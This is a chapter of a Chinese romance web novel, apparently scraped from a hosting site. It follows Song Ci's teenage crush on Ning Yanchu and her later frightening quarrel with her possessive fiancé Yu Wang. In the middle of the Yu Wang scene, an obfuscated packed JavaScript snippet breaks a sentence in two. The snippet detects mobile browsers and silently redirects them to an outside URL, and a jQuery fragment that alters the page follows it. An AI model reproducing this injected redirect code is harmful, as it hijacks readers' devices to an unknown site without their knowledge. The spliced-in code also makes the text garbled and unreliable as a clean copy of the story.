宋辞的青春期宁彦初只参与了一半,当宁彦初在高三的生活里忙碌,宋辞只是一个刚入初中部的小毛崽,每天都不知道忙忙叨叨些什么东西。
以前宋辞还总喜欢往宁彦初家里跑,宋教授和宁教授本来就是关系很不错的同事,俩家又住的近,关系本来就很好。宁彦初看书,他就跟着装木作样看会儿书,宁彦初刷日剧,他就在旁边抱着自己的平板看热血日漫,两家家长对孩子们一起成长喜闻乐见,尤其是后面有几次宁彦初被学校的小男生捧着小礼物尾随,宋辞骑着自行车把人凶悍地赶走后,家长更是对他们的互相帮助喜闻乐见。
夏天到来,高中部的毕业典礼和成人礼同时进行,那时候还会举行一个高考百日誓师大会,意在鼓励学生积极冲刺,准备迎接最后的胜利。
这场仪式是对外开放的,也是高三毕业生难得的一次放松大会,他们盛装出席,和老师同学亲朋好友合照,很多低年级的学生也会加入,一些成为志愿者,另一些则是单纯的为自己认识的学长学姐送上祝福和鼓励。
被父母逼着穿上西装打上领结的初中部小毛崽宋辞就是后者,宁彦初的成人礼,宋辞爸妈自然不会让自己的儿子不礼貌地错过。
“这是妈妈帮你选的毕业花,女孩子都要收花的,你去了以后代我给小彦初送过去,你要是嫌人多,不好意思送花也没事,你把花给彦阿姨,就说我给彦初送的。我和她打过招呼了,她帮你给小彦初。”蓝女士在儿子临出门前贴心地帮小伙子正了正领结,最后把门口的向日葵花束塞进了儿子手里。
深谙自己儿子别扭尿性的蓝女士就连后路都帮儿子想明白了,这花宋辞怎么着都会给宁彦初送过去,不会再有差池。
宋辞走到门口,看了一眼玄关镜子里的自己,黑西装,黑衬衫,黑领结,从头到脚除了裸露出来的皮肤都是黑色的,这是他作为杀马特跟他母亲选衣服时最后的坚持——一定要保持统一黑色。
蓝女士是个不扫兴的家长,她在儿子接受的范围里,尽量给儿子找了一件黑色有底纹的衬衫,尽可能让他这个黑乎乎的形象在宁彦初成年礼重要的日子里不显得那么的肃穆扎眼。
结果现在……一身肃穆黑色的宋辞无语的发现,他的黑洞般酷炫的风格被他妈妈那一束娇嫩的黄色向日葵给冲散了。
宋辞比划着手里的花束,背到后面,夹在腋下,放在身侧……真是放哪儿都是挡不住的明艳灿烂。
在宋辞的设想里,他应该手持一束黑色的暗夜玫瑰,带着墨镜面无表情地穿过学校的长廊,走到宁彦初面前。
宁彦初会一脸惊讶地看向他,然后看向被他扔到自己怀里的暗夜玫瑰。
暗夜玫瑰的花瓣散落在半空中,最后落在宁彦初的头发丝上。
“我妈……那个女人我真的拿她没办法,她拜托我来送这个给你,顺便带一句:毕业成年快乐。”宋辞觉得自己应该会这么说。
宁彦初感动的红了眼眶,连声道谢,说这是她迄今为止收到的最美的花束,周围的男男女女暗羡声音一片……这才对。
但是蓝女士没有本事搞到暗夜玫瑰,也不允许自己的儿子把黑不溜丢的花撒到宁彦初身上去。
遗憾。大大的遗憾。
宋辞到了学校,这天为了高三学生,全校师生放了一天假,这样校外人聚集进来也不会影响到学校的正常教学秩序。宋辞最后在学校的礼堂前面找到了正在被各色老师同学围着合照的宁彦初。
她穿最低调的黑色,却把暗沉穿成了衬得人发光的底色。两指宽的黑色肩带绕颈绑成蝴蝶结,没有多余的装饰,却比任何精致发饰都更显脖颈修长;简单的丸子头露出光洁的额头和线条柔和的下颌,没有耳边碎发的修饰,却让她的脸像被精心雕琢过的白玉,找不出一丝赘余;齐膝小伞裙裹着细白直的腿,黑色平底绑带鞋没增高半分,却让她站在人群里熠熠生辉,象牙白的皮肤在阳光下透着温润的光,丝绸般的质感从裙摆蔓延到发梢,连走路时蝴蝶结轻轻晃动的弧度,都带着一种不慌不忙的精致,像从橱窗里走出来的洋娃娃,淬着星光,带着点不食人间烟火的干净。
她的美丽不与任何人争艳,却自带“降维打击”的气场,操场上的女生不少,大家为了成年礼都下了不少功夫,有的花了精致的妆容,有的做了别致的发型,那些漂亮姑娘的明艳是向外辐射的,是吸引目光的,但宁彦初的美是向内收敛的,是让人下意识放轻脚步、不忍打扰的。
礼堂里的喧嚣、操场上的喧闹,好像都被她身上那层柔和的光晕隔开了,她站在那里,不是校园里的某一个“好看的女生”,而是独一份的、带着易碎感的精致,是让人觉得“不该出现在这里”,却又偏偏让整个场景都因为她而变得像电影慢镜头的存在。
宋辞一直知道宁彦初好看,但是从小到大的陪伴成长,让这些特质被每日相处的熟悉感埋没,也是这时候突然意识到了宁彦初有多好看。
“小辞来了!”宁彦初先发现了站在远处的宋辞,她笑着摆了摆手,和身边想要和她合影的不知道谁说了一声,然后径直向宋辞走来。
宋辞捏紧了手里的“暗夜玫瑰”,看着宁彦初由远及近,一步一步好像迈在了自己的心间上。
明明他没有扬起手里的鲜花,但是空气里已经被一种朦胧的花瓣香气充斥。
宋辞也讲不清楚他和宁彦初的拍立得合照——两个黑乎乎几乎看不清脸的强曝光照片他为什么要把它塞在自己的枕头底下。
之后的某一天早上,杀马特宋辞一个轱辘从床上跳了起来,他惊恐地向下看了一眼自己的黑色睡裤,又掀起了一角被子。
他不敢相信,他害怕羞耻,他不懂自己在羞耻什么,又在害怕什么,他额头冒汗,心如擂鼓,想起梦境里那双黑色绑带尖头鞋还有教室里膝盖上方的格子裙。
那一年宁彦初已经凭借全国奥赛金奖,保送到了最高学府(也就是他们从小长到大的学校),甚至在别的同学做模拟冲刺时,已经进入了宋教授的课题组开始奔赴祖国各地进行科研项目。
受惊的宋辞因为各样的原因,当然也凭借自身躲避人的功力,几个月刻意又不算刻意的没有再见到宁彦初本人。
*
上海,于望公寓。
还是那个难捱的晚上。
于望那句:“结婚这么大的事情,我妈来了,作为长辈商量一下又怎么了?她说话就那个风格,但是又没有坏心思,她最后不都是为了我们着想?你对她又是什么态度?我有说什么不好吗?”
宁彦初想不明白为什么俩人的感情会发展成这样。
她想走,于望拽着她的包袋不让她离开。她想放开包袋,只拿走手机,于望又堵在了门前,用无比凶恶的语气问她:“你想去哪里?!”
“我想回去。”宁彦初听到自己回答的声音都带着颤音。
“回去?回哪儿?宿舍?北京?找谁?!你想找谁?你刚才又在给谁发消息?!你别以为我没看到你一直在发微信……和男的吗?新认识的?还是以前的相好?!”于望表情近乎狰狞,语气却越来越轻,更让人害怕。
宁彦初不可置信地看着于望,为他用这样恶心的想法揣测自己。
“于望,你不冷静。”宁彦初轻轻说,“你太累了,先好好睡一觉,我们明天再谈。”
“你今天哪里也不许去,说不明白,别想走。”于望理智所剩不多,但看着此刻的宁彦初,心里为刚才己的言行感到一阵心慌,又有些绝望。
破罐破摔?
他有预感,宁彦初如果今天踏出她的公寓,那大概再也不会回来了。
是功亏一篑吗?还是无可厚非?
于望不甘心,真的不甘心。
“阿望,我的师妹还在宿舍等我。如果我长时间不回去,她会担心。”宁彦初小声说,“我近期不会离开沪市,我只是有点累,想回去休息。你也需要休息。”
于望站在门口,一下被抽走了所有的精气神,她表情颓丧,和刚才激情输出的模样判若两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093533|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,像是一只斗败的公鸡,头顶的头发耷拉在额头前就是他象征失败的鸡冠,他站在门口,衬衫半截从裤子里抽了出来,显得人又矮又颓。
他失去了全部的力气,沉默地站在门口,看着宁彦初拿起被他扔到了角落的包,换掉了自己给她准备的粉色拖鞋,看着她把那双拖鞋放进了鞋柜,看着她旋开了公寓的大门,看着她背影消失在了走廊。
宁彦初木然地瞪着电梯上的数字,大脑还是一片空白。她处理过很多复杂的数据,她记忆力很好,她擅长多线条研究和系统思考。
可是现在,她的大脑无法处理于望输出的那些抱怨,那些不满,也消化不了于望对他斥责和评价。
她觉得自己好像一台濒临死机的仪器,全靠最后的电量撑着不挂掉。
电梯到了,她背着包木然走了进去,临关门,一道身影狼狈的挤了进来。
是于望,他换了鞋,但还是刚才半截衬衫耷拉在裤子外面的模样,他目视前方,不敢看向身边的人,嘴里念叨了一句:“我送你回去,太晚了,路上黑。”
宁彦初想要拒绝,但是想起刚才男人歇斯底里怒气冲冲的样子,把拒绝的话又咽了回去。
宁彦初发现短短几个小时,让自己从满满的安全感直接转化到从里到外的惧怕,她从身体到心理都有些惧怕于望这个人,她怕自己说不对方又会崩溃,然后说出更加可怕的语言,甚至做出一些不可挽回的动作。
十五分钟的路,被路灯拉得格外漫长。
老式路灯隔老远才亮一盏,昏黄的光团在地面投下斑驳的影子,两人的脚步落在水泥路上,一声、两声,沉闷地敲在寂静里,没有半分多余的声响。
路边的梧桐树影枝桠交错,像张张模糊的网,把稀薄的月光剪得支离破碎,偶尔有晚风吹过,叶影簌簌晃动,倒像是有什么东西在暗处窥伺,添了几分说不清的压抑。
到了宿舍楼下,宁彦初停住了脚步,于望也跟着等在了宁彦初身后。
宁彦初回头,努力平和地跟于望摆了摆手,“我先上去了。”
于望压着嗓子望着旁边的路灯出神几秒,然后胡乱点点头,“好好休息。”
宁彦初背过身,努力让自己的步伐不要显得那么局促。
“小初。”身后于望声音传来。
宁彦初只好又转了过来。
“刚才,是我不好。我最近……压力有点大……以后不会这样了。抱歉。”于望着句话中间断了很多次,好像他已经到了说一句话要喘息好几次才能正常呼吸的程度。
宁彦初无话可说,点点头,离开。
于望一个人的影子被路灯拉长,宁彦初不想回头去看他是否还在原地,她很回避,又很怕。
就像是你身边本来有一个很好伙伴,他说他其实是小只小狗,他忠诚又憨厚,是你最可靠的伙伴。结果某天,他突然因为某些原因生气了,摇身一变成了一只呲着尖牙的大灰狼,它气急败坏,差点一口咬断了你的脖子,然后,过一会儿,他又恢复原装了,很沮丧地说刚才是他不对,以后他不这样了。
我们回到过去好不好?我只是压力有些大,我根本没有想要伤害你。他在心里问你,表情脆弱而沮丧。
但是就是会本能开始害怕他,这没办法。
宁彦初不仅害怕,还很不解。
晚上她把自己裹在被子里,她想不明白自己为什么上一秒被于望捧在手心,下一秒又被于望狠狠地扔到了垃圾桶,他甚至连她随手发出去的微信,和谁,做什么,都会那样恶意的揣测,就仿佛自己从一个他爱的人,变成了一个他憎恶的垃圾,不堪又难看,极端又充满危险。
*
“呜呜——汪。“怀里的毛豆终于忍受不了当下气氛(忍受不了被衬衫裹着的情况)叫出了声,他把鼻尖从衬衫里伸了出来。
宁彦初立刻伸手按上了电梯的关闭键。
“不好意思,我们赶时间。”
电梯门在于望脸前就这么关上了。